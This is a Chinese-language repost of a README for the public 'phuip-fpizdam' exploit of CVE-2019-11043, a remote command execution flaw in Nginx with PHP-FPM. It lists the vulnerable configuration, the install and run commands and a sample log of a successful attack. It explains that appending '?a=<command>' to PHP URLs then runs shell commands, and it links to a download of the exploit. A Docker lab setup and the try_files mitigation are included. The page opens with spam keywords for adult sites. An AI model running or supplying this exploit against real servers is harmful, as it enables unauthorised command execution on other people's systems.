久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

PHP-FPM Nginx - 遠(yuǎn)程命令執(zhí)行

 昆侖圃 2019-11-02

介是php-fpm (CVE-2019-11043)的一個(gè)漏洞利用,在某種配置下,,nginx+php-fpm的框架里,這個(gè)漏洞可以由外界觸發(fā),。這就意味著,,一個(gè)網(wǎng)頁用戶可能對這種配置的服務(wù)器實(shí)施遠(yuǎn)程命令執(zhí)行攻擊。(有前提條件,,看下文)

###這是啥漏洞

如果一個(gè)網(wǎng)站服務(wù)器運(yùn)行著nginx+php-fpm,,然后還有類似下面的配置:







location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ...}

而且,也沒有任何腳本是否存在的檢測(例如 `try_files`),,那么,,用這個(gè)工具你可能能黑掉有問題的機(jī)器。

###完整的前提條件列表


1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)`必須導(dǎo)向到php-fpm(可能正則表達(dá)式會 更嚴(yán)格)

2.`fastcgi_split_path_info`指令必須存在并且包含一個(gè)以 `^` 開頭且以 `$`結(jié)尾的正則表達(dá)式,,這我們就可以用一個(gè)新行的字符來突破它,。

3.必須通過`fastcgi_param PATH_INFO $fastcgi_path_info;`語句指定一個(gè)`PATH_INFO`變量。剛開始我們以為這一直都存在于`fastcgi_params`文件里,,但這是錯(cuò)誤的,。

4.不能有任何文件存在性檢測,例如`try_files $uri =404` 或者 `if (-f $uri)`。如果Nginx在FastCGI轉(zhuǎn)發(fā)前把請求丟給了不存在的腳本,,我們的請求就永遠(yuǎn)到不了php-fpm,,加上這個(gè)也是修補(bǔ)這個(gè)漏洞的最簡單方案。

5.這個(gè)利用只對PHP 7+有效,,但是這個(gè)漏洞也存在于更早的版本,。(看下面的關(guān)于php5)

###這難道不是幾年前就已知的漏洞了嗎?

很久之前,,php-fpm是不約束腳本的擴(kuò)展名的,,就是說形如`/avatar.png/some-fake-shit.php`的文件,php-fpm會把`avatar.png`當(dāng)做php文件來執(zhí)行,,這個(gè)問題在2010年左右就被修復(fù)了,。

現(xiàn)在這個(gè)漏洞不依賴文件上傳,在當(dāng)前的大多數(shù)版本都能利用(直到補(bǔ)丁被打上),。更重要的是,,這個(gè)利用更酷剌。

###咋運(yùn)行

安裝


go get github.com/neex/phuip-fpizdam

如果出現(xiàn)一些奇奇怪怪的編譯錯(cuò)誤,,先確保你的go版本要大于等于1.13,。以下面的命令執(zhí)行:


phuip-fpizdam [url]

(假設(shè)你已經(jīng)把 `$GOPATH/bin`變量丟到`$PATH`里去了,否則,要把路徑打全),,類似下面的輸出就是正常了:













```2019/10/01 02:46:15 Base status code is 2002019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect2019/10/01 02:46:16 Trying to set 'session.auto_start=0'...2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS2019/10/01 02:46:16 Performing attack using php.ini settings...2019/10/01 02:46:40 Success! Was able to execute a command by appending '?a=/bin/sh+-c+'which+which'&' to URLs2019/10/01 02:46:40 Trying to cleanup /tmp/a...2019/10/01 02:46:40 Done!```

這之后呢,,你就可以在任意的php url后面,添加`?a=<your command>`來執(zhí)行遠(yuǎn)程代碼了,。(你可能需要多試幾次才行)

###游樂場環(huán)境

如果你想重現(xiàn)這個(gè)問題或者想在本地玩玩這個(gè)漏洞利用,,介樣來:

1.克隆這個(gè)項(xiàng)目然后到reproducer目錄

2.創(chuàng)建docker鏡像:`docker build -t reproduce-cve-2019-11043 .`,這需要等比較長的時(shí)間,,因?yàn)樗匕裵hp的項(xiàng)目克隆回來并且還要編譯,。然鵝,如果你想debug這個(gè)利用代碼,,上述步驟會讓你更省力,。這個(gè)被修訂過的編譯是剛好沒被修補(bǔ)的版本。

3.啟動(dòng)一個(gè)docker 實(shí)例`docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`.

4.現(xiàn)在你可以訪問http://127.0.0.1:8080/script.php了,,這目前是一個(gè)空文件,。

5.運(yùn)行利用程序:

`phuip-fpizdam http://127.0.0.1:8080/script.php`

6.如果一切順利,你就可以這樣構(gòu)造url來執(zhí)行遠(yuǎn)程命令了,。

  http://127.0.0.1:8080/script.php?a=id

  多試幾次,,因?yàn)橹挥胁糠謕hp-fpm的worker進(jìn)程受影響而已。

###關(guān)于PHP5

 這個(gè)緩沖區(qū)下溢出漏洞也同樣存在于PHP5,,。然而呢,,我們這個(gè)漏洞利用需要用到一個(gè)保存FastCGI變量的優(yōu)化,, [_fcgi_data_seg]。這個(gè)優(yōu)化只存在于php7,,所以這次特別的漏洞利用只能在php7上運(yùn)行,。但可能有別的利用技術(shù)可以在php5上運(yùn)行呢。,。,。

###申明

最開始的異常現(xiàn)象是由[d90pwn]在“真實(shí)世界CTF”大賽中發(fā)現(xiàn)的,。根本問題是(Emil Lerner)發(fā)現(xiàn)的,,還有設(shè)置php.ini參數(shù)的方式。最終的php.ini參數(shù)集是由[beched]發(fā)現(xiàn)的,。

最后,,下載:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47553.zip

參考:github.com/neex/phuip-fpizdam


HackerHub發(fā)布 | 轉(zhuǎn)載請注明出處

    本站是提供個(gè)人知識管理的網(wǎng)絡(luò)存儲空間,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點(diǎn),。請注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購買等信息,,謹(jǐn)防詐騙,。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點(diǎn)擊一鍵舉報(bào),。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多